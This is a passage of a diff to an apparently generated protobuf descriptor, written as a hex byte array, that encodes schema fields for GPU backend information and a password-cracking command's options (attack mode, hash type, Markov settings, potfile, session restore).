0x48, 0x4d, 0x41, - 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, - 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, - 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, + 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, + 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, + 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, + 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, + 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, + 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, + 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, + 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, + 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, + 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, + 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, + 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, + 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, + 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, + 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, + 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, + 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, + 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, + 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, + 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, + 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, + 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, + 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, + 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, + 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, + 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, + 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, + 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, + 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, + 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, + 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, + 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, + 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, + 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, + 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, + 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, + 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, + 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, + 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, + 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, + 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, + 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, + 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, + 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, + 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, + 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, + 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, + 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, + 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, + 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, + 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, + 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, + 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, + 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, + 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, + 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, + 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, + 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, + 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, + 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, + 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, + 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, + 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, + 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, + 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, + 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, + 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, + 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, + 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, + 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, + 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, + 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, + 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, + 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, + 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, + 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, + 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, + 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, + 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, + 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, + 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, + 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, + 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, + 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, + 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, + 0x6e, 0x66, 0x6f, 